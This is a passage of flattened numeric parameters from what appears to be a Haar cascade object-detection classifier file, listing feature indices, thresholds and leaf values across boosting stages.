-8.4681701660156250e-01 + <_> + + 0 -1 2566 5.1883000880479813e-02 + + -4.3731000274419785e-02 -1.3366169929504395e+00 + <_> + + 0 -1 2567 4.1127000004053116e-02 + + 1.7660099267959595e-01 -6.0904097557067871e-01 + <_> + + 0 -1 2568 -1.2865099310874939e-01 + + -9.8701000213623047e-01 -3.7785001099109650e-02 + <_> + + 0 -1 2569 2.4170000106096268e-03 + + -1.6119599342346191e-01 3.2675701379776001e-01 + <_> + + 0 -1 2570 7.7030002139508724e-03 + + -2.3841500282287598e-01 2.9319399595260620e-01 + <_> + + 0 -1 2571 4.5520000159740448e-02 + + 1.4424599707126617e-01 -1.5010160207748413e+00 + <_> + + 0 -1 2572 -7.8700996935367584e-02 + + -1.0394560098648071e+00 -4.5375999063253403e-02 + <_> + + 0 -1 2573 7.8619997948408127e-03 + + 1.9633600115776062e-01 -1.4472399652004242e-01 + <_> + + 0 -1 2574 -1.3458999805152416e-02 + + -9.0634697675704956e-01 -3.8049001246690750e-02 + <_> + + 0 -1 2575 2.8827000409364700e-02 + + -2.9473999515175819e-02 6.0058397054672241e-01 + <_> + + 0 -1 2576 -2.7365999296307564e-02 + + -9.9804002046585083e-01 -3.8653001189231873e-02 + <_> + + 0 -1 2577 -7.2917997837066650e-02 + + 7.3361498117446899e-01 5.7440001517534256e-02 + <_> + + 0 -1 2578 -1.3988999649882317e-02 + + 2.7892601490020752e-01 -2.6516300439834595e-01 + <_> + + 0 -1 2579 4.3242998421192169e-02 + + 4.7760000452399254e-03 3.5925900936126709e-01 + <_> + + 0 -1 2580 2.9533000662922859e-02 + + -2.0083999633789062e-01 5.1202899217605591e-01 + <_> + + 0 -1 2581 -3.1897000968456268e-02 + + 6.4721697568893433e-01 -1.3760000001639128e-03 + <_> + + 0 -1 2582 3.7868998944759369e-02 + + -1.8363800644874573e-01 6.1343097686767578e-01 + <_> + + 0 -1 2583 -2.2417999804019928e-02 + + -2.9187899827957153e-01 1.8194800615310669e-01 + <_> + + 0 -1 2584 5.8958999812602997e-02 + + -6.6451996564865112e-02 -1.9290030002593994e+00 + <_> + + 0 -1 2585 3.1222999095916748e-02 + + -1.2732000090181828e-02 6.1560797691345215e-01 + <_> + + 0 -1 2586 3.7484999746084213e-02 + + -2.0856900513172150e-01 4.4363999366760254e-01 + <_> + + 0 -1 2587 -2.0966000854969025e-02 + + -3.5712799429893494e-01 2.4252200126647949e-01 + <_> + + 0 -1 2588 -2.5477999821305275e-02 + + 1.0846560001373291e+00 -1.5054400265216827e-01 + <_> + + 0 -1 2589 -7.2570000775158405e-03 + + 2.1302600204944611e-01 -1.8308199942111969e-01 + <_> + + 0 -1 2590 -5.0983000546693802e-02 + + 5.1736801862716675e-01 -1.8833099305629730e-01 + <_> + + 0 -1 2591 -2.0640000700950623e-02 + + -4.4030201435089111e-01 2.2745999693870544e-01 + <_> + + 0 -1 2592 1.0672999545931816e-02 + + 3.5059999674558640e-02 -5.1665002107620239e-01 + <_> + + 0 -1 2593 3.1895998865365982e-02 + + 1.3228000141680241e-02 3.4915199875831604e-01 + <_> + + 0 -1 2594 -2.3824999108910561e-02 + + 3.4118801355361938e-01 -2.1510200202465057e-01 + <_> + + 0 -1 2595 -6.0680001042783260e-03 + + 3.2937398552894592e-01 -2.8523799777030945e-01 + <_> + + 0 -1 2596 2.3881999775767326e-02 + + -2.5333800911903381e-01 2.6296100020408630e-01 + <_> + + 0 -1 2597 2.7966000139713287e-02 + + 1.4049099385738373e-01 -4.9887099862098694e-01 + <_> + + 0 -1 2598 1.4603000134229660e-02 + + -1.5395999886095524e-02 -7.6958000659942627e-01 + <_> + + 0 -1 2599 1.0872399806976318e-01 + + 1.9069600105285645e-01 -3.2393100857734680e-01 + <_> + + 0 -1 2600 -1.4038000255823135e-02 + + 3.4924700856208801e-01 -2.2358700633049011e-01 + <_> + + 0 -1 2601 4.0440000593662262e-03 + + -3.8329001516103745e-02 5.1177299022674561e-01 + <_> + + 0 -1 2602 -4.9769999459385872e-03 + + -4.2888298630714417e-01 4.9173999577760696e-02 + <_> + + 0 -1 2603 -8.5183002054691315e-02 + + 6.6624599695205688e-01 7.8079998493194580e-03 + <_> + + 0 -1 2604 2.1559998858720064e-03 + + -4.9135199189186096e-01 6.9555997848510742e-02 + <_> + + 0 -1 2605 3.6384499073028564e-01 + + 1.2997099757194519e-01 -1.8949509859085083e+00 + <_> + + 0 -1 2606 2.2082500159740448e-01 + + -5.7211998850107193e-02 -1.4281120300292969e+00 + <_> + + 0 -1 2607 -1.6140000894665718e-02 + + -5.7589399814605713e-01 1.8062500655651093e-01 + <_> + + 0 -1 2608 -4.8330001533031464e-02 + + 9.7308498620986938e-01 -1.6513000428676605e-01 + <_> + + 0 -1 2609 1.7529999837279320e-02 + + 1.7932699620723724e-01 -2.7948901057243347e-01 + <_> + + 0 -1 2610 -3.4309998154640198e-02 + + -8.1072497367858887e-01 -1.6596000641584396e-02 + <_> + + 0 -1 2611 -4.5830002054572105e-03 + + 2.7908998727798462e-01 -7.4519999325275421e-03 + <_> + + 0 -1 2612 1.2896400690078735e-01 + + -1.3508500158786774e-01 2.5411539077758789e+00 + <_> + + 0 -1 2613 3.0361000448465347e-02 + + -6.8419001996517181e-02 2.8734099864959717e-01 + <_> + + 0 -1 2614 4.4086001813411713e-02 + + -1.8135899305343628e-01 6.5413200855255127e-01 + <_> + + 0 -1 2615 3.0159999150782824e-03 + + -1.5690499544143677e-01 2.6963800191879272e-01 + <_> + + 0 -1 2616 -2.6336999610066414e-02 + + 2.9175600409507751e-01 -2.5274100899696350e-01 + <_> + + 0 -1 2617 -2.7866000309586525e-02 + + 4.4387501478195190e-01 5.5038001388311386e-02 + <_> + + 0 -1 2618 1.1725000105798244e-02 + + -1.9346499443054199e-01 4.6656700968742371e-01 + <_> + + 0 -1 2619 1.5689999563619494e-03 + + -8.2360003143548965e-03 2.5700899958610535e-01 + <_> + + 0 -1 2620 -3.5550000611692667e-03 + + -4.2430898547172546e-01 7.1174003183841705e-02 + <_> + + 0 -1 2621 -3.1695000827312469e-02 + + -8.5393500328063965e-01 1.6916200518608093e-01 + <_> + + 0 -1 2622 -3.2097000628709793e-02 + + 8.3784902095794678e-01 -1.7597299814224243e-01 + <_> + + 0 -1 2623 1.5544199943542480e-01 + + 9.9550001323223114e-02 2.3873300552368164e+00 + <_> + + 0 -1 2624 8.8045999407768250e-02 + + -1.8725299835205078e-01 6.2384301424026489e-01 + <_> + + 0 -1 2625 -1.6720000421628356e-03 + + 2.5008699297904968e-01 -6.5118998289108276e-02 + <_> + + 0 -1 2626 9.3409996479749680e-03 + + -3.5378900170326233e-01 1.0715000331401825e-01 + <_> + + 0 -1 2627 3.7138000130653381e-02 + + 1.6387000679969788e-01 -9.1718399524688721e-01 + <_> + + 0 -1 2628 8.0183997750282288e-02 + + -1.4812999963760376e-01 1.4895190000534058e+00 + <_> + + 0 -1 2629 -7.9100002767518163e-04 + + -2.1326899528503418e-01 1.9676400721073151e-01 + <_> + + 0 -1 2630 -5.0400001928210258e-03 + + -7.1318697929382324e-01 1.8240000354126096e-03 + <_> + + 0 -1 2631 1.1962399631738663e-01 + + 3.3098999410867691e-02 1.0441709756851196e+00 + <_> + + 0 -1 2632 -4.5280000194907188e-03 + + -2.7308499813079834e-01 2.7229800820350647e-01 + <_> + + 0 -1 2633 -2.9639000073075294e-02 + + 3.6225798726081848e-01 5.6795001029968262e-02 + <_> + + 0 -1 2634 2.6650000363588333e-02 + + -4.8041000962257385e-02 -9.6723502874374390e-01 + <_> + + 0 -1 2635 4.4422000646591187e-02 + + 1.3052900135517120e-01 -3.5077300667762756e-01 + <_> + + 0 -1 2636 -2.4359999224543571e-02 + + -1.0766899585723877e+00 -5.1222998648881912e-02 + <_> + + 0 -1 2637 1.9734999164938927e-02 + + 2.6238000020384789e-02 2.8070500493049622e-01 + <_> + + 0 -1 2638 5.4930001497268677e-03 + + -2.6111298799514771e-01 2.1011400222778320e-01 + <_> + + 0 -1 2639 -2.3200300335884094e-01 + + -1.7748440504074097e+00 1.1482600122690201e-01 + <_> + + 0 -1 2640 -2.5614000856876373e-02 + + 2.9900801181793213e-01 -2.2502499818801880e-01 + <_> + + 0 -1 2641 -6.4949998632073402e-03 + + 1.9563800096511841e-01 -9.9762998521327972e-02 + <_> + + 0 -1 2642 3.9840000681579113e-03 + + -4.3021500110626221e-01 8.1261001527309418e-02 + <_> + + 0 -1 2643 -3.5813000053167343e-02 + + -5.0987398624420166e-01 1.6345900297164917e-01 + <_> + + 0 -1 2644 -1.4169000089168549e-02 + + 7.7978098392486572e-01 -1.7476299405097961e-01 + <_> + + 0 -1 2645 -1.2642100453376770e-01 + + -6.3047897815704346e-01 1.2728300690650940e-01 + <_> + + 0 -1 2646 6.8677999079227448e-02 + + -4.6447999775409698e-02 -1.1128979921340942e+00 + <_> + + 0 -1 2647 8.5864998400211334e-02 + + 1.1835400015115738e-01 -4.8235158920288086e+00 + <_> + + 0 -1 2648 1.5511999838054180e-02 + + -1.7467999830842018e-02 -6.3693398237228394e-01 + <_> + + 0 -1 2649 8.1091001629829407e-02 + + 8.6133003234863281e-02 2.4559431076049805e+00 + <_> + + 0 -1 2650 1.8495000898838043e-02 + + 4.0229000151157379e-02 -5.0858199596405029e-01 + <_> + + 0 -1 2651 -8.6320996284484863e-02 + + -1.9006760120391846e+00 1.1019100248813629e-01 + <_> + + 0 -1 2652 7.2355002164840698e-02 + + -6.2111999839544296e-02 -1.4165179729461670e+00 + <_> + + 0 -1 2653 -7.8179001808166504e-02 + + 8.8849300146102905e-01 4.2369998991489410e-02 + <_> + + 0 -1 2654 9.6681997179985046e-02 + + -2.2094200551509857e-01 3.3575099706649780e-01 + <_> + + 0 -1 2655 -3.9875999093055725e-02 + + 5.7804799079895020e-01 4.5347999781370163e-02 + <_> + + 0 -1 2656 -9.5349997282028198e-03 + + -5.4175698757171631e-01 3.2399999909102917e-03 + <_> + + 0 -1 2657 4.0600000647827983e-04 + + -8.1549003720283508e-02 3.5837900638580322e-01 + <_> + + 0 -1 2658 1.2107999995350838e-02 + + -2.0280399918556213e-01 4.3768000602722168e-01 + <_> + + 0 -1 2659 -2.0873999223113060e-02 + + 4.1469898819923401e-01 -4.5568000525236130e-02 + <_> + + 0 -1 2660 5.7888001203536987e-02 + + -2.9009999707341194e-02 -9.1822302341461182e-01 + <_> + + 0 -1 2661 1.3200000103097409e-04 + + -1.1772400140762329e-01 2.0000000298023224e-01 + <_> + + 0 -1 2662 -1.7137000337243080e-02 + + 3.3004799485206604e-01 -2.3055200278759003e-01 + <_> + + 0 -1 2663 3.0655000358819962e-02 + + -2.1545000374317169e-02 2.6878198981285095e-01 + <_> + + 0 -1 2664 -7.8699999721720815e-04 + + -4.4100698828697205e-01 4.9157999455928802e-02 + <_> + + 0 -1 2665 8.8036999106407166e-02 + + 1.1782000213861465e-01 -2.8293309211730957e+00 + <_> + + 0 -1 2666 -3.9028998464345932e-02 + + 9.1777199506759644e-01 -1.5827399492263794e-01 + <_> + + 0 -1 2667 8.0105997622013092e-02 + + 1.1289200186729431e-01 -1.9937280416488647e+00 + <_> + + 0 -1 2668 3.9538998156785965e-02 + + -1.4357399940490723e-01 1.3085240125656128e+00 + <_> + + 0 -1 2669 2.0684000104665756e-02 + + 2.0048099756240845e-01 -4.4186998158693314e-02 + <_> + + 0 -1 2670 -6.7037999629974365e-02 + + 3.2618600130081177e-01 -2.0550400018692017e-01 + <_> + + 0 -1 2671 4.6815000474452972e-02 + + 1.5825299918651581e-01 -9.5535099506378174e-01 + <_> + + 0 -1 2672 7.8443996608257294e-02 + + -7.4651002883911133e-02 -2.1161499023437500e+00 + <_> + + 0 -1 2673 6.6380001604557037e-02 + + 1.1641900241374969e-01 -1.6113519668579102e+00 + <_> + + 0 -1 2674 3.0053999274969101e-02 + + -1.6562600433826447e-01 7.0025402307510376e-01 + <_> + + 0 -1 2675 1.7119999974966049e-02 + + 2.2627699375152588e-01 -4.0114998817443848e-01 + <_> + + 0 -1 2676 2.0073000341653824e-02 + + -1.9389699399471283e-01 4.4420298933982849e-01 + <_> + + 0 -1 2677 3.3101998269557953e-02 + + 1.1637499928474426e-01 -1.5771679878234863e+00 + <_> + + 0 -1 2678 -1.4882000163197517e-02 + + -8.9680302143096924e-01 -4.2010001838207245e-02 + <_> + + 0 -1 2679 -1.0281000286340714e-02 + + 3.5602998733520508e-01 -1.3124000281095505e-02 + <_> + + 0 -1 2680 -2.8695000335574150e-02 + + -4.6039599180221558e-01 2.6801999658346176e-02 + <_> + + 0 -1 2681 -4.7189998440444469e-03 + + 2.3788799345493317e-01 -6.5518997609615326e-02 + <_> + + 0 -1 2682 3.2201600074768066e-01 + + -2.8489999473094940e-02 -8.4234601259231567e-01 + <_> + + 0 -1 2683 -1.7045000568032265e-02 + + -5.0938802957534790e-01 1.6057600080966949e-01 + <_> + + 0 -1 2684 -7.3469998314976692e-03 + + -5.4154998064041138e-01 4.7320001758635044e-03 + <_> + + 0 -1 2685 -3.0001999810338020e-02 + + -8.8785797357559204e-01 1.3621799647808075e-01 + <_> + + 0 -1 2686 -1.1292999610304832e-02 + + 8.0615198612213135e-01 -1.6159500181674957e-01 + <_> + + 0 -1 2687 4.7749998047947884e-03 + + 1.2968000024557114e-02 5.5079901218414307e-01 + <_> + + 0 -1 2688 5.0710001960396767e-03 + + -4.5728001743555069e-02 -1.0766259431838989e+00 + <_> + + 0 -1 2689 1.9344100356101990e-01 + + 7.1262001991271973e-02 1.1694519519805908e+00 + <_> + + 0 -1 2690 5.3750001825392246e-03 + + -1.9736200571060181e-01 3.8206899166107178e-01 + <_> + + 0 -1 2691 -6.8276003003120422e-02 + + -5.4372339248657227e+00 1.1151900142431259e-01 + <_> + + 0 -1 2692 -3.4933000802993774e-02 + + 4.4793400168418884e-01 -1.8657900393009186e-01 + <_> + + 0 -1 2693 5.1219998858869076e-03 + + -1.4871999621391296e-02 1.8413899838924408e-01 + <_> + + 0 -1 2694 9.5311999320983887e-02 + + -1.5117099881172180e-01 9.4991499185562134e-01 + <_> + + 0 -1 2695 -6.2849000096321106e-02 + + 4.6473601460456848e-01 3.8405001163482666e-02 + <_> + + 0 -1 2696 -1.7040699720382690e-01 + + -1.6499999761581421e+00 -6.3236996531486511e-02 + <_> + + 0 -1 2697 1.0583999566733837e-02 + + -3.8348998874425888e-02 4.1913801431655884e-01 + <_> + + 0 -1 2698 -4.1579000651836395e-02 + + 3.4461900591850281e-01 -2.1187700331211090e-01 + <_> + + 0 -1 2699 1.2718600034713745e-01 + + 1.2398199737071991e-01 -2.1254889965057373e+00 + <_> + + 0 -1 2700 8.2557000219821930e-02 + + -6.2024001032114029e-02 -1.4875819683074951e+00 + <_> + + 0 -1 2701 8.5293002426624298e-02 + + 1.7087999731302261e-02 3.2076600193977356e-01 + <_> + + 0 -1 2702 5.5544000118970871e-02 + + -2.7414000034332275e-01 1.8976399302482605e-01 + <_> + + 0 -1 2703 4.5650000683963299e-03 + + -1.7920200526714325e-01 2.7967301011085510e-01 + <_> + + 0 -1 2704 1.2997999787330627e-02 + + -3.2297500967979431e-01 2.6941800117492676e-01 + <_> + + 0 -1 2705 5.7891998440027237e-02 + + 1.2644399702548981e-01 -6.0713499784469604e-01 + <_> + + 0 -1 2706 -2.2824000567197800e-02 + + -4.9682098627090454e-01 2.2376999258995056e-02 + <_> + + 0 -1 2707 4.8312000930309296e-02 + + 4.3607000261545181e-02 4.8537799715995789e-01 + <_> + + 0 -1 2708 2.5714000687003136e-02 + + -4.2950998991727829e-02 -9.3023502826690674e-01 + <_> + + 0 -1 2709 6.9269998930394650e-03 + + -2.9680000152438879e-03 3.4296301007270813e-01 + <_> + + 0 -1 2710 -3.4446999430656433e-02 + + -1.5299769639968872e+00 -6.1014998704195023e-02 + <_> + + 0 -1 2711 2.9387999325990677e-02 + + 3.7595998495817184e-02 6.4172399044036865e-01 + <_> + + 0 -1 2712 -2.4319998919963837e-03 + + 9.9088996648788452e-02 -3.9688101410865784e-01 + <_> + 200 + -2.9928278923034668e+00 + + <_> + + 0 -1 2713 -9.5944002270698547e-02 + + 6.2419098615646362e-01 -4.5875200629234314e-01 + <_> + + 0 -1 2714 1.6834000125527382e-02 + + -9.3072801828384399e-01 2.1563600003719330e-01 + <_> + + 0 -1 2715 2.6049999520182610e-02 + + -4.0532299876213074e-01 4.2256599664688110e-01 + <_> + + 0 -1 2716 3.6500001442618668e-04 + + 9.5288001000881195e-02 -6.3298100233078003e-01 + <_> + + 0 -1 2717 -6.6940002143383026e-03 + + 3.7243801355361938e-01 -3.0332401394844055e-01 + <_> + + 0 -1 2718 1.8874000757932663e-02 + + -2.3357200622558594e-01 4.0330699086189270e-01 + <_> + + 0 -1 2719 -1.6300000424962491e-04 + + 4.2886998504400253e-02 -7.7796798944473267e-01 + <_> + + 0 -1 2720 -7.6259002089500427e-02 + + -4.9628499150276184e-01 1.6335399448871613e-01 + <_> + + 0 -1 2721 5.0149001181125641e-02 + + 3.2747000455856323e-02 -8.0047899484634399e-01 + <_> + + 0 -1 2722 -2.9239999130368233e-03 + + -5.0002801418304443e-01 2.5480601191520691e-01 + <_> + + 0 -1 2723 1.6243999823927879e-02 + + 3.8913000375032425e-02 -7.0724898576736450e-01 + <_> + + 0 -1 2724 3.7811998277902603e-02 + + -6.6267997026443481e-02 7.3868799209594727e-01 + <_> + + 0 -1 2725 -1.2319999746978283e-02 + + 4.8696398735046387e-01 -2.4485599994659424e-01 + <_> + + 0 -1 2726 5.8003999292850494e-02 + + 1.3459099829196930e-01 -1.3232100009918213e-01 + <_> + + 0 -1 2727 4.8630000092089176e-03 + + -4.4172900915145874e-01 1.4005599915981293e-01 + <_> + + 0 -1 2728 4.5690998435020447e-02 + + 3.1217999756336212e-02 8.9818298816680908e-01 + <_> + + 0 -1 2729 2.1321000531315804e-02 + + 1.2008000165224075e-02 -8.6066198348999023e-01 + <_> + + 0 -1 2730 1.5679100155830383e-01 + + 1.4055999927222729e-02 8.5332900285720825e-01 + <_> + + 0 -1 2731 -1.0328999720513821e-02 + + 2.9022800922393799e-01 -2.9478800296783447e-01 + <_> + + 0 -1 2732 2.4290001019835472e-03 + + -4.0439900755882263e-01 1.9400200247764587e-01 + <_> + + 0 -1 2733 -2.3338999599218369e-02 + + 3.2945200800895691e-01 -2.5712698698043823e-01 + <_> + + 0 -1 2734 -6.8970001302659512e-03 + + -5.3352999687194824e-01 2.1635200083255768e-01 + <_> + + 0 -1 2735 -3.4403000026941299e-02 + + -1.4425489902496338e+00 -4.4682998210191727e-02 + <_> + + 0 -1 2736 -2.1235000342130661e-02 + + -7.9017502069473267e-01 1.9084100425243378e-01 + <_> + + 0 -1 2737 2.0620001014322042e-03 + + -2.6931199431419373e-01 3.1488001346588135e-01 + <_> + + 0 -1 2738 -4.2190002277493477e-03 + + -5.4464399814605713e-01 1.6574600338935852e-01 + <_> + + 0 -1 2739 -1.4334999956190586e-02 + + 2.2105000913143158e-02 -6.2342500686645508e-01 + <_> + + 0 -1 2740 -8.2120001316070557e-03 + + -4.9884998798370361e-01 1.9237099587917328e-01 + <_> + + 0 -1 2741 -9.3350000679492950e-03 + + -7.9131197929382324e-01 -1.4143999665975571e-02 + <_> + + 0 -1 2742 -3.7937998771667480e-02 + + 7.9841297864913940e-01 -3.3799000084400177e-02 + <_> + + 0 -1 2743 4.7059999778866768e-03 + + -3.3163401484489441e-01 2.0726299285888672e-01 + <_> + + 0 -1 2744 -4.4499998912215233e-03 + + -2.7256301045417786e-01 1.8402199447154999e-01 + <_> + + 0 -1 2745 5.2189999260008335e-03 + + -5.3096002340316772e-01 5.2607998251914978e-02 + <_> + + 0 -1 2746 -9.5399999991059303e-03 + + -5.6485402584075928e-01 1.9269399344921112e-01 + <_> + + 0 -1 2747 4.4969998300075531e-02 + + -1.7411500215530396e-01 9.5382601022720337e-01 + <_> + + 0 -1 2748 1.4209000393748283e-02 + + -9.1949000954627991e-02 2.4836100637912750e-01 + <_> + + 0 -1 2749 1.6380199790000916e-01 + + -5.8497000485658646e-02 -1.6404409408569336e+00 + <_> + + 0 -1 2750 2.5579999200999737e-03 + + 2.3447999358177185e-01 -9.2734001576900482e-02 + <_> + + 0 -1 2751 -3.8499999791383743e-03 + + 1.7880700528621674e-01 -3.5844099521636963e-01 + <_> + + 0 -1 2752 -2.5221999734640121e-02 + + -4.2903000116348267e-01 2.0244500041007996e-01 + <_> + + 0 -1 2753 -1.9415000453591347e-02 + + 5.8016300201416016e-01 -1.8806399405002594e-01 + <_> + + 0 -1 2754 1.4419999904930592e-02 + + 3.2846998423337936e-02 8.1980502605438232e-01 + <_> + + 0 -1 2755 5.1582999527454376e-02 + + 6.9176003336906433e-02 -4.5866298675537109e-01 + <_> + + 0 -1 2756 -3.7960000336170197e-02 + + -1.2553000450134277e+00 1.4332899451255798e-01 + <_> + + 0 -1 2757 -2.9560999944806099e-02 + + 5.3151798248291016e-01 -2.0596499741077423e-01 + <_> + + 0 -1 2758 -3.9110999554395676e-02 + + 1.1658719778060913e+00 5.3897000849246979e-02 + <_> + + 0 -1 2759 -2.9159000143408775e-02 + + 3.9307600259780884e-01 -2.2184500098228455e-01 + <_> + + 0 -1 2760 -8.3617001771926880e-02 + + -7.3744499683380127e-01 1.4268200099468231e-01 + <_> + + 0 -1 2761 4.2004001140594482e-01 + + -1.4277400076389313e-01 1.7894840240478516e+00 + <_> + + 0 -1 2762 6.0005001723766327e-02 + + 1.1976700276136398e-01 -1.8886189460754395e+00 + <_> + + 0 -1 2763 -1.8981000408530235e-02 + + -1.4148449897766113e+00 -5.6522998958826065e-02 + <_> + + 0 -1 2764 -6.0049998573958874e-03 + + 4.4170799851417542e-01 -1.0200800001621246e-01 + <_> + + 0 -1 2765 -5.8214001357555389e-02 + + -1.3918470144271851e+00 -4.8268999904394150e-02 + <_> + + 0 -1 2766 -1.2271000072360039e-02 + + 5.1317697763442993e-01 -9.3696996569633484e-02 + <_> + + 0 -1 2767 4.6585999429225922e-02 + + -5.7484000921249390e-02 -1.4283169507980347e+00 + <_> + + 0 -1 2768 1.2110000243410468e-03 + + -8.0891996622085571e-02 3.2333201169967651e-01 + <_> + + 0 -1 2769 -8.8642001152038574e-02 + + -8.6449098587036133e-01 -3.3146999776363373e-02 + <_> + + 0 -1 2770 -2.3184999823570251e-02 + + 5.2162200212478638e-01 -1.6168000176548958e-02 + <_> + + 0 -1 2771 4.3090000748634338e-02 + + -1.6153800487518311e-01 1.0915000438690186e+00 + <_> + + 0 -1 2772 2.0599999697878957e-04 + + -1.7091499269008636e-01 3.1236699223518372e-01 + <_> + + 0 -1 2773 8.9159999042749405e-03 + + -6.7039998248219490e-03 -6.8810397386550903e-01 + <_> + + 0 -1 2774 -1.7752999439835548e-02 + + 6.3292801380157471e-01 -4.2360001243650913e-03 + <_> + + 0 -1 2775 6.2299999408423901e-03 + + -3.3637198805809021e-01 1.2790599465370178e-01 + <_> + + 0 -1 2776 2.2770000621676445e-02 + + -3.4703999757766724e-02 3.9141800999641418e-01 + <_> + + 0 -1 2777 -2.1534999832510948e-02 + + 6.4765101671218872e-01 -2.0097799599170685e-01 + <_> + + 0 -1 2778 6.1758998781442642e-02 + + 5.4297000169754028e-02 9.0700101852416992e-01 + <_> + + 0 -1 2779 -7.8069999814033508e-02 + + 6.5523397922515869e-01 -1.9754399359226227e-01 + <_> + + 0 -1 2780 1.1315000243484974e-02 + + 1.9385300576686859e-01 -5.1707297563552856e-01 + <_> + + 0 -1 2781 -2.5590000674128532e-02 + + -9.3096500635147095e-01 -3.1546998769044876e-02 + <_> + + 0 -1 2782 -3.8058999925851822e-02 + + -6.8326902389526367e-01 1.2709100544452667e-01 + <_> + + 0 -1 2783 9.7970003262162209e-03 + + 1.5523999929428101e-02 -6.3347899913787842e-01 + <_> + + 0 -1 2784 -1.3841999694705009e-02 + + 1.0060529708862305e+00 6.2812998890876770e-02 + <_> + + 0 -1 2785 8.3459997549653053e-03 + + -2.3383200168609619e-01 3.0982699990272522e-01 + <_> + + 0 -1 2786 -7.1439996361732483e-02 + + -7.2505402565002441e-01 1.7148299515247345e-01 + <_> + + 0 -1 2787 1.0006000287830830e-02 + + -2.2071999311447144e-01 3.5266199707984924e-01 + <_> + + 0 -1 2788 1.1005300283432007e-01 + + 1.6662000119686127e-01 -7.4318999052047729e-01 + <_> + + 0 -1 2789 3.5310998558998108e-02 + + -2.3982700705528259e-01 4.1435998678207397e-01 + <_> + + 0 -1 2790 -1.1174699664115906e-01 + + 5.1045399904251099e-01 2.2319999989122152e-03 + <_> + + 0 -1 2791 -1.1367800086736679e-01 + + 9.0475201606750488e-01 -1.6615299880504608e-01 + <_> + + 0 -1 2792 1.6667999327182770e-02 + + 1.4024500548839569e-01 -5.2178502082824707e-01 + <_> + + 0 -1 2793 -8.0340001732110977e-03 + + -6.6178399324417114e-01 3.7640000227838755e-03 + <_> + + 0 -1 2794 -3.3096998929977417e-02 + + 8.0185902118682861e-01 5.9385001659393311e-02 + <_> + + 0 -1 2795 1.2547999620437622e-02 + + -3.3545500040054321e-01 1.4578600227832794e-01 + <_> + + 0 -1 2796 -4.2073998600244522e-02 + + -5.5509102344512939e-01 1.3266600668430328e-01 + <_> + + 0 -1 2797 2.5221999734640121e-02 + + -6.1631999909877777e-02 -1.3678770065307617e+00 + <_> + + 0 -1 2798 -2.4268999695777893e-02 + + 3.4185099601745605e-01 -7.4160001240670681e-03 + <_> + + 0 -1 2799 -1.2280000373721123e-02 + + 2.7745801210403442e-01 -3.1033900380134583e-01 + <_> + + 0 -1 2800 -1.1377099901437759e-01 + + 1.1719540357589722e+00 8.3681002259254456e-02 + <_> + + 0 -1 2801 -8.4771998226642609e-02 + + 8.1694799661636353e-01 -1.7837500572204590e-01 + <_> + + 0 -1 2802 -2.4552000686526299e-02 + + -1.8627299368381500e-01 1.4340099692344666e-01 + <_> + + 0 -1 2803 -9.0269995853304863e-03 + + 3.2659199833869934e-01 -2.3541299998760223e-01 + <_> + + 0 -1 2804 1.1177999898791313e-02 + + 1.9761200249195099e-01 -2.1701000630855560e-02 + <_> + + 0 -1 2805 -2.9366999864578247e-02 + + -9.3414801359176636e-01 -2.1704999729990959e-02 + <_> + + 0 -1 2806 6.3640000298619270e-03 + + 2.5573000311851501e-02 4.6412798762321472e-01 + <_> + + 0 -1 2807 1.4026000164449215e-02 + + -2.1228599548339844e-01 4.0078800916671753e-01 + <_> + + 0 -1 2808 -1.3341999612748623e-02 + + 7.4202698469161987e-01 2.9001999646425247e-02 + <_> + + 0 -1 2809 2.8422799706459045e-01 + + -1.9243599474430084e-01 4.3631199002265930e-01 + <_> + + 0 -1 2810 -2.3724000155925751e-01 + + 6.9736397266387939e-01 6.9307997822761536e-02 + <_> + + 0 -1 2811 -1.1169700324535370e-01 + + 3.9147201180458069e-01 -2.0922000706195831e-01 + <_> + + 0 -1 2812 1.2787500023841858e-01 + + -7.2555996477603912e-02 3.6088201403617859e-01 + <_> + + 0 -1 2813 -6.2900997698307037e-02 + + 9.5424997806549072e-01 -1.5402799844741821e-01 + <_> + + 0 -1 2814 1.7439000308513641e-02 + + -5.1134999841451645e-02 2.7750301361083984e-01 + <_> + + 0 -1 2815 1.2319999514147639e-03 + + 7.5627997517585754e-02 -3.6456099152565002e-01 + <_> + + 0 -1 2816 2.7495000511407852e-02 + + 5.1844000816345215e-02 4.1562598943710327e-01 + <_> + + 0 -1 2817 -4.3543998152017593e-02 + + 7.1969997882843018e-01 -1.7132200300693512e-01 + <_> + + 0 -1 2818 1.1025999672710896e-02 + + 1.4354600012302399e-01 -6.5403002500534058e-01 + <_> + + 0 -1 2819 2.0865999162197113e-02 + + 4.0089000016450882e-02 -4.5743298530578613e-01 + <_> + + 0 -1 2820 -2.2304000332951546e-02 + + 5.3855001926422119e-01 7.1662999689579010e-02 + <_> + + 0 -1 2821 3.2492000609636307e-02 + + -4.5991998165845871e-02 -1.0047069787979126e+00 + <_> + + 0 -1 2822 1.2269999831914902e-02 + + 3.4334998577833176e-02 4.2431798577308655e-01 + <_> + + 0 -1 2823 8.3820000290870667e-03 + + -2.5850600004196167e-01 2.6263499259948730e-01 + <_> + + 0 -1 2824 3.7353999912738800e-02 + + 1.5692499279975891e-01 -1.0429090261459351e+00 + <_> + + 0 -1 2825 -1.4111000113189220e-02 + + -7.3177701234817505e-01 -2.0276999101042747e-02 + <_> + + 0 -1 2826 5.7066999375820160e-02 + + 8.3360001444816589e-02 1.5661499500274658e+00 + <_> + + 0 -1 2827 4.9680001102387905e-03 + + -3.5318198800086975e-01 1.4698399603366852e-01 + <_> + + 0 -1 2828 -2.4492999538779259e-02 + + 2.8325900435447693e-01 -3.4640000667423010e-03 + <_> + + 0 -1 2829 -1.1254999786615372e-02 + + -8.4017497301101685e-01 -3.6251999437808990e-02 + <_> + + 0 -1 2830 3.4533001482486725e-02 + + 1.4998500049114227e-01 -8.7367099523544312e-01 + <_> + + 0 -1 2831 2.4303000420331955e-02 + + -1.8787500262260437e-01 5.9483999013900757e-01 + <_> + + 0 -1 2832 -7.8790001571178436e-03 + + 4.4315698742866516e-01 -5.6570999324321747e-02 + <_> + + 0 -1 2833 3.5142000764608383e-02 + + -5.6494999676942825e-02 -1.3617190122604370e+00 + <_> + + 0 -1 2834 4.6259998343884945e-03 + + -3.1161698698997498e-01 2.5447699427604675e-01 + <_> + + 0 -1 2835 -8.3131000399589539e-02 + + 1.6424349546432495e+00 -1.4429399371147156e-01 + <_> + + 0 -1 2836 -1.4015999622642994e-02 + + -7.7819502353668213e-01 1.7173300683498383e-01 + <_> + + 0 -1 2837 1.2450000504031777e-03 + + -2.3191399872303009e-01 2.8527900576591492e-01 + <_> + + 0 -1 2838 